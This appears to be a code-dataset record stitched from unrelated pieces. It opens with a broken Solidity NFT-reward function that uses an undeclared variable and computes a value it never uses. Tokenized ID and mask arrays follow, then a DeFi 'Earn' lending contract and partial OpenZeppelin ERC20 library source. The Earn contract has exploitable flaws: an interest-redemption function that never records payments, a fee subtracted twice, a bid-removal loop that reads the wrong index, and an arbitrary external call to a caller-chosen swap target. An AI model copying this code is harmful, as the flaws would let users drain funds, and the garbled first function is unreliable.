function lockRewardsForAllNFTs() public payable returns(bool) { uint256 timeStarted; uint256 minsPassed; uint256 miningRateFromStats; uint256 miningRewards; uint256 tokenID; for(uint256 i =0; i < numberOfHeroesOwned; i++) { if (timeStarted == 0) { } tokenID = CryptoHeroes(CryptoHeroesAddress).tokenOfOwnerByIndex(msg.sender,i); miningRateFromStats = CryptoHeroes(CryptoHeroesAddress).getHeroLuck(tokenID).mul(7) .add(CryptoHeroes(CryptoHeroesAddress).getHeroStrength(tokenID) .add(CryptoHeroes(CryptoHeroesAddress).getHeroMagic(tokenID)) .add(CryptoHeroes(CryptoHeroesAddress).getHeroDefence(tokenID))); miningRewards = minsPassed.mul(baseMiningRate).mul(miningRateFromStats).mul(multiplier).div(10000); } uint256 currentRewards = CryptoHeroes(CryptoHeroesAddress).lockedRewards(msg.sender); CryptoHeroes(CryptoHeroesAddress).setLockedRewards(msg.sender,totalRewardsNeededToBeLocked.add(currentRewards)); totalLockedRewards = totalLockedRewards.add(totalRewardsNeededToBeLocked); return true; }
5,272,040
[ 1, 759, 2531, 310, 283, 6397, 364, 777, 423, 4464, 87, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2176, 17631, 14727, 1290, 1595, 50, 4464, 87, 1435, 1071, 8843, 429, 1135, 12, 6430, 13, 288, 203, 540, 203, 3639, 2254, 5034, 813, 9217, 31, 203, 3639, 2254, 5034, 26381, 22530, 31, 203, 3639, 2254, 5034, 1131, 310, 4727, 1265, 4195, 31, 203, 3639, 2254, 5034, 1131, 310, 17631, 14727, 31, 203, 3639, 2254, 5034, 1147, 734, 31, 203, 203, 3639, 364, 12, 11890, 5034, 277, 273, 20, 31, 277, 411, 7922, 44, 2439, 281, 5460, 329, 31, 277, 27245, 288, 203, 2398, 203, 5411, 309, 261, 957, 9217, 422, 374, 13, 288, 203, 5411, 289, 203, 2398, 203, 5411, 1147, 734, 273, 15629, 44, 2439, 281, 12, 18048, 44, 2439, 281, 1887, 2934, 2316, 951, 5541, 21268, 12, 3576, 18, 15330, 16, 77, 1769, 203, 5411, 1131, 310, 4727, 1265, 4195, 273, 15629, 44, 2439, 281, 12, 18048, 44, 2439, 281, 1887, 2934, 588, 44, 2439, 48, 9031, 12, 2316, 734, 2934, 16411, 12, 27, 13, 203, 4766, 565, 263, 1289, 12, 18048, 44, 2439, 281, 12, 18048, 44, 2439, 281, 1887, 2934, 588, 44, 2439, 27624, 12, 2316, 734, 13, 203, 4766, 565, 263, 1289, 12, 18048, 44, 2439, 281, 12, 18048, 44, 2439, 281, 1887, 2934, 588, 44, 2439, 19289, 12, 2316, 734, 3719, 203, 4766, 565, 263, 1289, 12, 18048, 44, 2439, 281, 12, 18048, 44, 2439, 281, 1887, 2934, 588, 44, 2439, 3262, 802, 12, 2316, 734, 3719, 1769, 203, 5411, 1131, 310, 17631, 14727, 273, 26381, 22530, 18, 16411, 12, 1969, 2930, 310, 4727, 2934, 2 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol"; contract Earn is Ownable, Pausable { using SafeERC20 for IERC20; IERC20 public ALTA; IERC20 public USDC; address loanAddress; address feeAddress; // Interest Bonus based off time late uint256 public baseBonusMultiplier; uint256 public altaBonusMultiplier; uint256 public transferFee; uint256 reserveDays; // USDC Amounts Needed for ALTA Value Tiers uint256 public highTier; // dollars + 6 decimals uint256 public medTier; // dollars + 6 decimals uint256 public lowTier; // dollars + 6 decimals event ContractOpened(address indexed owner, uint256 earnContractId); event ContractClosed(address indexed owner, uint256 earnContractId); event EarnContractOwnershipTransferred( address indexed previousOwner, address indexed newOwner, uint256 earnContractId ); event BidMade(address indexed bidder, uint256 bidId); event ContractForSale(uint256 earnContractId); event ContractOffMarket(uint256 earnContractId); constructor( IERC20 _USDC, IERC20 _ALTA, address _loanAddress, address _feeAddress, EarnContract[] memory migratedContracts ) { USDC = _USDC; ALTA = _ALTA; baseBonusMultiplier = 150; //150 = 1.5x altaBonusMultiplier = 200; // 200 = 2x reserveDays = 7; loanAddress = _loanAddress; feeAddress = _feeAddress; for (uint256 i = 0; i < migratedContracts.length; i++) { _migrateContract(migratedContracts[i]); } } enum ContractStatus { OPEN, CLOSED, FORSALE } struct EarnTerm { // Time Locked (in Days); uint256 time; // USDC APR (simple interest) (1000 = 10%) uint16 usdcRate; // ALTA High Amount uint64 altaHighAmount; // ALTA Med Amount uint64 altaMedAmount; // ALTA Low Amount uint64 altaLowAmount; // Tokens other than ALTA accepted? bool otherTokens; // Tokens need to be whitelisted? bool whitelist; // Array of whitelisted tokens address[] tokensAccepted; // Max usdc accepted uint256 usdcMax; // Amount already accepted uint256 usdcAccepted; // True if open, False if closed bool open; } struct EarnContract { // Contract Owner Address address owner; // Unix Epoch time started uint256 startTime; // length of contract in seconds uint256 contractLength; // Address of token lent address tokenAddress; // Amount of token lent uint256 tokenAmount; // Amount sent to contract in USDC (swap value); uint256 usdcPrincipal; // USDC interest rate uint256 usdcRate; // USDC Interest Paid uint256 usdcInterestPaid; // ALTA interet rate uint256 altaAmount; // Rate usdc interest will be paid for days overdue uint256 usdcBonusRate; // Fixed ALTA bonus for overdue payment uint256 altaBonusAmount; // Open, Closed, or ForSale ContractStatus status; } struct Bid { // Bid Owner Address address bidder; // Address of Contract Owner address to; // Earn Contract Id uint256 earnContractId; // Amount uint256 amount; // Accepted - false if pending bool accepted; } // Comes with a public getter function EarnTerm[] public earnTerms; EarnContract[] public earnContracts; Bid[] public bids; // Maps the earn contract id to the owner mapping(uint256 => address) public earnContractToOwner; // Maps the number of earn contracts for a given user mapping(address => uint256) public ownerEarnContractCount; // Maps the number of bids per earn contract mapping(uint256 => uint256) public earnContractBidCount; /** * @param _time Length of the contract in days * @param _usdcRate Interest rate for USDC (1000 = 10%) * @param _altaHighAmount ALTA bonus for the high tier * @param _altaMedAmount ALTA bonus for the medium tier * @param _altaLowAmount ALTA bonus for the low tier * @dev Add an earn term with 8 parameters */ function addTerm( uint256 _time, uint16 _usdcRate, uint64 _altaHighAmount, uint64 _altaMedAmount, uint64 _altaLowAmount, bool _otherTokens, bool _whitelist, address[] memory _tokensAccepted, uint256 _usdcMax ) public onlyOwner { earnTerms.push( EarnTerm( _time, _usdcRate, _altaHighAmount, _altaMedAmount, _altaLowAmount, _otherTokens, _whitelist, _tokensAccepted, _usdcMax, 0, true ) ); } /** * Close an earn term * @param _earnTermsId index of the earn term in earnTerms */ function closeTerm(uint256 _earnTermsId) public onlyOwner { _closeTerm(_earnTermsId); } function _closeTerm(uint256 _earnTermsId) internal { require(_earnTermsId < earnTerms.length); earnTerms[_earnTermsId].open = false; } /** * Close an earn term * @param _earnTermsId index of the earn term in earnTerms */ function openTerm(uint256 _earnTermsId) public onlyOwner { require(_earnTermsId < earnTerms.length); earnTerms[_earnTermsId].open = true; } /** * @dev Update an earn term passing the individual parameters * @param _earnTermsId index of the earn term in earnTerms * @param _time Length of the contract in days * @param _usdcRate Interest rate for USDC (1000 = 10%) * @param _altaHighAmount ALTA bonus for the high tier * @param _altaMedAmount ALTA bonus for the medium tier * @param _altaLowAmount ALTA bonus for the low tier */ function updateTerm( uint256 _earnTermsId, uint256 _time, uint16 _usdcRate, uint64 _altaHighAmount, uint64 _altaMedAmount, uint64 _altaLowAmount, bool _otherTokens, bool _whitelist, address[] memory _tokensAccepted, uint256 _usdcMax, uint256 _usdcAccepted, bool _open ) public onlyOwner { earnTerms[_earnTermsId] = EarnTerm( _time, _usdcRate, _altaHighAmount, _altaMedAmount, _altaLowAmount, _otherTokens, _whitelist, _tokensAccepted, _usdcMax, _usdcAccepted, _open ); } /** * @notice Use the public getter function for earnTerms for a single earnTerm * @return An array of type EarnTerm */ function getAllEarnTerms() public view returns (EarnTerm[] memory) { return earnTerms; } /** * @notice Use the public getter function for earnTerms for a single earnTerm * @return An array of type EarnTerm with open == true */ function getAllOpenEarnTerms() public view returns (EarnTerm[] memory) { EarnTerm[] memory result = new EarnTerm[](earnTerms.length); uint256 counter = 0; for (uint256 i = 0; i < earnTerms.length; i++) { if (earnTerms[i].open == true) { result[counter] = earnTerms[i]; counter++; } } return result; } /** * @notice Use the public getter function for bids for a sinble bid * @return An array of type Bid */ function getAllBids() public view returns (Bid[] memory) { return bids; } function getContractTier(uint256 _amount, EarnTerm memory earnTerm) internal view returns (uint256 altaAmount) { if (_amount >= highTier) { altaAmount = earnTerm.altaHighAmount; } else if (_amount >= medTier) { altaAmount = earnTerm.altaMedAmount; } else if (_amount >= lowTier) { altaAmount = earnTerm.altaLowAmount; } else { altaAmount = 0; } return altaAmount; } /** * Sends erc20 token to AltaFin Treasury Address and creates a contract with EarnContract[_id] terms for user. * User needs to approve USDC to be spent by this contract before calling this function * @param _earnTermsId index of the earn term in earnTerms * @param _amount Amount of USDC principal */ function openContractUsdc(uint256 _earnTermsId, uint256 _amount) public whenNotPaused { EarnTerm memory earnTerm = earnTerms[_earnTermsId]; require(earnTerm.open); require(earnTerm.otherTokens, "Earn term doesn't accept USDC"); if (earnTerm.whitelist) { // Check to see if token is on whitelist for earn term require(checkTokenWhitelist(address(USDC), _earnTermsId)); } require(_amount > 0, "USDC amount must be greater than zero"); // Check to see if the User has sufficient funds. require( USDC.balanceOf(address(msg.sender)) >= _amount, "Insufficient Tokens" ); earnTerms[_earnTermsId].usdcAccepted = earnTerms[_earnTermsId].usdcAccepted + _amount; require( earnTerms[_earnTermsId].usdcAccepted <= (earnTerms[_earnTermsId].usdcMax + (earnTerms[_earnTermsId].usdcMax / 10)) ); if ( earnTerms[_earnTermsId].usdcAccepted >= earnTerms[_earnTermsId].usdcMax ) { _closeTerm(_earnTermsId); } uint256 altaAmount = getContractTier(_amount, earnTerm); uint256 earnDays = earnTerm.time * 1 days; uint256 interestReserve = calculateInterestReserves( _amount, earnTerm.usdcRate ); uint256 amount = _amount - interestReserve; USDC.safeTransferFrom(msg.sender, loanAddress, amount); USDC.safeTransferFrom(msg.sender, address(this), interestReserve); _createContract( earnTerm, earnDays, _amount, altaAmount, _amount, address(USDC) ); } /** * Sends erc20 token to AltaFin Treasury Address and creates a contract with EarnContract[_id] terms for user. * @param _earnTermsId index of the earn term in earnTerms * @param _tokenAddress Contract address of input token * @param _amount Amount of token to be swapped for USDC principal */ function openContractTokenSwapToUSDC( uint256 _earnTermsId, address _tokenAddress, uint256 _amount, address _swapTarget, bytes calldata _swapCallData ) public whenNotPaused { require(_amount > 0, "Token amount must be greater than zero"); // User needs to first approve the token to be spent IERC20 token = IERC20(_tokenAddress); require( token.balanceOf(address(msg.sender)) >= _amount, "Insufficient Tokens" ); EarnTerm memory earnTerm = earnTerms[_earnTermsId]; require(earnTerm.open, "Earn Term must be open"); // Check if input token is ALTA if (_tokenAddress != address(ALTA)) { // Earn Term must accept other tokens require(earnTerm.otherTokens, "token not accepted"); if (earnTerm.whitelist) { // Check to see if token is on whitelist for earn term require(checkTokenWhitelist(_tokenAddress, _earnTermsId)); } } token.safeTransferFrom(msg.sender, address(this), _amount); // Swap tokens for USDC uint256 amountUsdc = _swapToUSDCOnZeroX( _earnTermsId, _tokenAddress, _amount, payable(_swapTarget), // address payable swapTarget _swapCallData // bytes calldata swapCallData ); earnTerms[_earnTermsId].usdcAccepted = earnTerms[_earnTermsId].usdcAccepted + amountUsdc; require( earnTerms[_earnTermsId].usdcAccepted <= (earnTerms[_earnTermsId].usdcMax + (earnTerms[_earnTermsId].usdcMax / 10)), "usdc amount greater than max" ); if ( earnTerms[_earnTermsId].usdcAccepted >= earnTerms[_earnTermsId].usdcMax ) { _closeTerm(_earnTermsId); } uint256 altaAmount = getContractTier(amountUsdc, earnTerm); uint256 earnDays = earnTerm.time * 1 days; _createContract( earnTerm, earnDays, amountUsdc, altaAmount, _amount, _tokenAddress ); } function _createContract( EarnTerm memory _earnTerm, uint256 _earnDays, uint256 _amountUsdc, uint256 _amountAlta, uint256 _assetAmount, address _assetAddress ) internal { EarnContract memory earnContract = EarnContract( msg.sender, // owner block.timestamp, // startTime _earnDays, //contractLength, _assetAddress, // tokenAddress _assetAmount, // tokenAmount _amountUsdc, // usdcPrincipal _earnTerm.usdcRate, // usdcRate 0, // usdcInterestPaid _amountAlta, // altaAmount (_earnTerm.usdcRate * baseBonusMultiplier) / 100, // usdcBonusRate (_amountAlta * altaBonusMultiplier) / 100, // altaBonusAmount ContractStatus.OPEN ); earnContracts.push(earnContract); uint256 id = earnContracts.length - 1; earnContractToOwner[id] = msg.sender; // assign the earn contract to the owner; ownerEarnContractCount[msg.sender] = ownerEarnContractCount[msg.sender] + 1; // increment the number of earn contract owned for the user; emit ContractOpened(msg.sender, id); } function _migrateContract(EarnContract memory migrated) internal { EarnContract memory earnContract = EarnContract( migrated.owner, // owner migrated.startTime, // startTime migrated.contractLength, // contractLength, migrated.tokenAddress, // tokenAddress migrated.tokenAmount, // tokenAmount migrated.usdcPrincipal, // usdcPrincipal migrated.usdcRate, // usdcRate migrated.usdcInterestPaid, // usdcInterestPaid migrated.altaAmount, // altaAmount migrated.usdcBonusRate, // usdcBonusRate migrated.altaBonusAmount, // altaBonusAmount migrated.status ); earnContracts.push(earnContract); uint256 id = earnContracts.length - 1; earnContractToOwner[id] = migrated.owner; // assign the earn contract to the owner; ownerEarnContractCount[migrated.owner] = ownerEarnContractCount[migrated.owner] + 1; // increment the number of earn contract owned for the user; emit ContractOpened(migrated.owner, id); } /** * Sends the amount usdc and alta owed to the contract owner and deletes the EarnContract from the mapping. * @param _earnContractId index of earn contract in earnContracts */ function closeContract(uint256 _earnContractId) external onlyOwner { require( earnContracts[_earnContractId].status != ContractStatus.CLOSED, "Contract is already closed" ); (uint256 usdcAmount, uint256 altaAmount) = _calculatePaymentAmounts( _earnContractId ); address owner = earnContracts[_earnContractId].owner; USDC.safeTransferFrom(msg.sender, address(owner), usdcAmount); ALTA.safeTransferFrom(msg.sender, address(owner), altaAmount); emit ContractClosed(owner, _earnContractId); _removeAllContractBids(_earnContractId); // Mark the contract as closed require( _earnContractId < earnContracts.length, "Contract Index not in the array" ); earnContracts[_earnContractId].status = ContractStatus.CLOSED; } /** * Internal function to calculate the amount of USDC and ALTA needed to close an earnContract * @param _earnContractId index of earn contract in earnContracts */ // TODO: Test this function thoroughly function _calculatePaymentAmounts(uint256 _earnContractId) internal view returns (uint256 usdcAmount, uint256) { EarnContract memory earnContract = earnContracts[_earnContractId]; (uint256 usdcInterestAmount, uint256 altaAmount) = calculateInterest( _earnContractId ); usdcAmount = earnContract.usdcPrincipal + usdcInterestAmount; return (usdcAmount, altaAmount); } function redeemInterestUSDC(uint256 _earnContractId) public { EarnContract memory earnContract = earnContracts[_earnContractId]; require(earnContract.owner == msg.sender); (uint256 usdcInterestAmount, ) = calculateInterest(_earnContractId); earnContract.usdcInterestPaid = earnContract.usdcInterestPaid + usdcInterestAmount; USDC.safeTransfer(msg.sender, usdcInterestAmount); } function calculateInterest(uint256 _earnContractId) public view returns (uint256 usdcInterestAmount, uint256 altaAmount) { EarnContract memory earnContract = earnContracts[_earnContractId]; uint256 timeOpen = block.timestamp - earnContracts[_earnContractId].startTime; if (timeOpen <= earnContract.contractLength + 7 days) { // Calculate the total amount of usdc to be paid out (principal + interest) usdcInterestAmount = (earnContract.usdcPrincipal * earnContract.usdcRate * timeOpen) / 365 days / 10000; altaAmount = earnContract.altaAmount; } else { uint256 extraTime = timeOpen - earnContract.contractLength; uint256 usdcRegInterest = earnContract.usdcPrincipal + ((earnContract.usdcPrincipal * earnContract.usdcRate * earnContract.contractLength) / 365 days / 10000); uint256 usdcBonusInterest = (earnContract.usdcPrincipal * earnContract.usdcBonusRate * extraTime) / 365 days / 10000; usdcInterestAmount = usdcRegInterest + usdcBonusInterest; altaAmount = earnContract.altaBonusAmount; } usdcInterestAmount = usdcInterestAmount - earnContract.usdcInterestPaid; return (usdcInterestAmount, altaAmount); } function calculateInterestReserves( uint256 _usdcPrincipal, uint256 _usdcRate ) public view returns (uint256 usdcInterestAmount) { // Calculate the amount of usdc to be kept in address(this) upon earn contract creation usdcInterestAmount = (_usdcPrincipal * _usdcRate * reserveDays) / 365 days / 10000; return usdcInterestAmount; } /** * Sends all Ether in the contract to the specified wallet. * @param _addr Address of wallet to send ether */ function withdraw(address payable _addr) public onlyOwner { uint256 amount = address(this).balance; (bool success, ) = _addr.call{value: amount}(""); require(success, "Failed to send Ether"); } /** * Sends all USDC in the contract to the specified wallet. * @param _addr Address of wallet to send USDC */ function withdrawUSDC(address payable _addr) public onlyOwner { uint256 amount = USDC.balanceOf(address(this)); USDC.safeTransfer(_addr, amount); } /** * @param _to address of transfer recipient * @param _amount amount of ether to be transferred */ // Function to transfer Ether from this contract to address from input function transfer(address payable _to, uint256 _amount) public onlyOwner { // Note that "to" is declared as payable (bool success, ) = _to.call{value: _amount}(""); require(success, "Failed to send Ether"); } /** * Gets the current value of all earn terms for a given user * @param _owner address of owner to query */ function getCurrentUsdcValueByOwner(address _owner) public view returns (uint256) { uint256[] memory result = getContractsByOwner(_owner); uint256 currValue = 0; for (uint256 i = 0; i < result.length; i++) { EarnContract memory earnContract = earnContracts[result[i]]; if (earnContract.status != ContractStatus.CLOSED) { uint256 timeHeld = (block.timestamp - earnContract.startTime) / 365 days; currValue = currValue + earnContract.usdcPrincipal + (earnContract.usdcPrincipal * earnContract.usdcRate * timeHeld); } } return currValue; } /** * Gets the value at time of redemption for all earns terms for a given user * @param _owner address of owner to query */ function getRedemptionUsdcValueByOwner(address _owner) public view returns (uint256) { uint256[] memory result = getContractsByOwner(_owner); uint256 currValue = 0; for (uint256 i = 0; i < result.length; i++) { EarnContract memory earnContract = earnContracts[result[i]]; if (earnContract.status != ContractStatus.CLOSED) { currValue = currValue + earnContract.usdcPrincipal + ( ((earnContract.usdcPrincipal * earnContract.usdcRate * earnContract.contractLength) / 365 days) ); } } return currValue; } /** * Gets every earn contract for a given user * @param _owner Wallet Address for expected earn contract owner */ function getContractsByOwner(address _owner) public view returns (uint256[] memory) { uint256[] memory result = new uint256[](ownerEarnContractCount[_owner]); uint256 counter = 0; for (uint256 i = 0; i < earnContracts.length; i++) { if (earnContractToOwner[i] == _owner) { result[counter] = i; counter++; } } return result; } function getAllEarnContracts() public view returns (EarnContract[] memory) { return earnContracts; } /** * Swaps ERC20->ERC20 tokens held by this contract using a 0x-API quote. * @param _swapTarget 'To' field from the 0x API response * @param _swapCallData 'Data' field from the 0x API response */ function _swapToUSDCOnZeroX( uint256 _earnTermId, address _token, uint256 _amount, // The `to` field from the API response. address payable _swapTarget, // The `data` field from the API response. bytes calldata _swapCallData ) internal returns (uint256) { uint256 currentUsdcBalance = USDC.balanceOf(address(this)); require(IERC20(_token).approve(_swapTarget, _amount), "approve failed"); // Call the encoded swap function call on the contract at `swapTarget`, // passing along any ETH attached to this function call to cover protocol fees. (bool success, ) = _swapTarget.call{value: msg.value}(_swapCallData); require(success, "SWAP_CALL_FAILED"); uint256 usdcAmount = USDC.balanceOf(address(this)) - currentUsdcBalance; uint256 interestReserve = calculateInterestReserves( usdcAmount, earnTerms[_earnTermId].usdcRate ); uint256 amount = usdcAmount - interestReserve; USDC.safeTransfer(loanAddress, amount); return usdcAmount; } /** * @param _token Token contract address * @param _earnTermsId Index of earn term in earnTerms */ function checkTokenWhitelist(address _token, uint256 _earnTermsId) public view returns (bool) { EarnTerm memory earnTerm = earnTerms[_earnTermsId]; for (uint256 i = 0; i < earnTerm.tokensAccepted.length; i++) { if (_token == earnTerm.tokensAccepted[i]) { return true; } } return false; } /** * Lists the associated earn contract for sale on the market * @param _earnContractId index of earn contract in earnContracts */ function putSale(uint256 _earnContractId) external whenNotPaused { require( msg.sender == earnContractToOwner[_earnContractId], "Msg.sender is not the owner" ); earnContracts[_earnContractId].status = ContractStatus.FORSALE; emit ContractForSale(_earnContractId); } /** * Submits a bid for an earn contract on sale in the market * User must sign an approval transaction for first. ALTA.approve(address(this), _amount); * @param _earnContractId index of earn contract in earnContracts * @param _amount Amount of ALTA offered for bid */ function makeBid(uint256 _earnContractId, uint256 _amount) external whenNotPaused { EarnContract memory earnContract = earnContracts[_earnContractId]; require( earnContract.status == ContractStatus.FORSALE, "Contract not for sale" ); Bid memory bid = Bid( msg.sender, // bidder earnContract.owner, // to _earnContractId, // earnContractId _amount, // amount false // accepted ); bids.push(bid); uint256 bidId = bids.length - 1; earnContractBidCount[_earnContractId] = earnContractBidCount[_earnContractId] + 1; // increment the number of bids for the earn contract; // Send the bid amount to this contract ALTA.safeTransferFrom(msg.sender, address(this), _amount); emit BidMade(msg.sender, bidId); } /** * Called by the owner of the earn contract for sale * Transfers the bid amount to the owner of the earn contract and transfers ownership of the contract to the bidder * @param _bidId index of bid in Bids */ function acceptBid(uint256 _bidId) external whenNotPaused { Bid memory bid = bids[_bidId]; uint256 earnContractId = bid.earnContractId; uint256 fee = (bid.amount * transferFee) / 1000; if (fee > 0) { bid.amount = bid.amount - fee; } // Transfer bid ALTA to contract seller require( msg.sender == earnContractToOwner[earnContractId], "Msg.sender is not the owner of the earn contract" ); if (fee > 0) { ALTA.safeTransfer(feeAddress, fee); bid.amount = bid.amount - fee; } ALTA.safeTransfer(bid.to, bid.amount); bids[_bidId].accepted = true; // Transfer ownership of earn contract to bidder emit EarnContractOwnershipTransferred( bid.to, bid.bidder, earnContractId ); earnContracts[earnContractId].owner = bid.bidder; earnContractToOwner[earnContractId] = bid.bidder; ownerEarnContractCount[bid.bidder] = ownerEarnContractCount[bid.bidder] + 1; // Remove all bids _removeContractFromMarket(earnContractId); } /** * Remove Contract From Market * @param _earnContractId index of earn contract in earnContracts */ function removeContractFromMarket(uint256 _earnContractId) external { require( earnContractToOwner[_earnContractId] == msg.sender, "Msg.sender is not the owner of the earn contract" ); _removeContractFromMarket(_earnContractId); } /** * Removes all contracts bids and sets the status flag back to open * @param _earnContractId index of earn contract in earnContracts */ function _removeContractFromMarket(uint256 _earnContractId) internal { earnContracts[_earnContractId].status = ContractStatus.OPEN; _removeAllContractBids(_earnContractId); emit ContractOffMarket(_earnContractId); } /** * Getter functions for all bids of a specified earn contract * @param _earnContractId index of earn contract in earnContracts */ function getBidsByContract(uint256 _earnContractId) public view returns (uint256[] memory) { uint256[] memory result = new uint256[]( earnContractBidCount[_earnContractId] ); uint256 counter = 0; for (uint256 i = 0; i < bids.length; i++) { if (bids[i].earnContractId == _earnContractId) { result[counter] = i; counter++; } } return result; } /** * Sends all bid funds for an earn contract back to the bidder and removes them arrays and mappings * @param _earnContractId index of earn contract in earnContracts */ function _removeAllContractBids(uint256 _earnContractId) internal { uint256[] memory contractBids = getBidsByContract(_earnContractId); for (uint256 i = 0; i < contractBids.length; i++) { uint256 bidId = contractBids[0]; Bid memory bid = bids[bidId]; if (bid.accepted != true) { ALTA.safeTransfer(bid.bidder, bid.amount); } _removeBid(bidId); } } /** * Sends bid funds back to bidder and removes the bid from the array * @param _bidId index of bid in Bids */ function removeBid(uint256 _bidId) external { Bid memory bid = bids[_bidId]; require(msg.sender == bid.bidder, "Msg.sender is not the bidder"); ALTA.safeTransfer(bid.bidder, bid.amount); _removeBid(_bidId); } // TODO: Test that the mappings and arrays are updated correctly /** * @param _bidId index of bid in Bids */ function _removeBid(uint256 _bidId) internal { require(_bidId < bids.length, "Bid ID longer than array length"); Bid memory bid = bids[_bidId]; // Update the mappings uint256 earnContractId = bid.earnContractId; if (earnContractBidCount[earnContractId] > 0) { earnContractBidCount[earnContractId] = earnContractBidCount[earnContractId] - 1; } // Update the array if (bids.length > 1) { bids[_bidId] = bids[bids.length - 1]; } bids.pop(); } /** * Set the lower bound USDC amount needed to receive the respective ALTA amounts * @param _highTier Minimum usdc amount needed to qualify for earn contract high tier * @param _medTier Minimum usdc amount needed to qualify for earn contract medium tier * @param _lowTier Minimum usdc amount needed to quallify for earn contract low tier */ function setAltaContractTiers( uint256 _highTier, uint256 _medTier, uint256 _lowTier ) external onlyOwner { highTier = _highTier; // initially $150k medTier = _medTier; // initially $100k lowTier = _lowTier; // initially $50k } /** * Set the transfer fee rate for contracts sold on the market place * @param _transferFee Percent of accepted earn contract bid to be sent to AltaFin wallet */ function setTransferFee(uint256 _transferFee) external onlyOwner { transferFee = _transferFee; } /** * Set ALTA ERC20 token address * @param _ALTA Address of ALTA Token contract */ function setAltaAddress(address _ALTA) external onlyOwner { ALTA = IERC20(_ALTA); } /** * Set the reserveDays * @param _reserveDays Number of days interest to be stored in address(this) upon contract creation */ function setReserveDays(uint256 _reserveDays) external onlyOwner { reserveDays = _reserveDays; } /** * Set the Bonus USDC multiplier ( e.g. 20 = 2x multiplier on the interest rate) * @param _baseBonusMultiplier Base Bonus multiplier for contract left open after contract length completion */ function setBaseBonusMultiplier(uint256 _baseBonusMultiplier) external onlyOwner { baseBonusMultiplier = _baseBonusMultiplier; } /** * Set the Bonus ALTA multiplier ( e.g. 20 = 2x multiplier on the ALTA Amount) * @param _altaBonusMultiplier ALTA Bonus multiplier for contract left open after contract length completion */ function setAltaBonusMultiplier(uint256 _altaBonusMultiplier) external onlyOwner { altaBonusMultiplier = _altaBonusMultiplier; } /** * Set the loanAddress * @param _loanAddress Wallet address to recieve loan funds */ function setLoanAddress(address _loanAddress) external onlyOwner { require(_loanAddress != address(0)); loanAddress = _loanAddress; } /** * Set the feeAddress * @param _feeAddress Wallet address to recieve fee funds */ function setFeeAddress(address _feeAddress) external onlyOwner { require(_feeAddress != address(0)); feeAddress = _feeAddress; } /** * Pause the contract */ function pause() external onlyOwner { _pause(); } /** * Unpause the contract */ function unpause() external onlyOwner { _unpause(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as 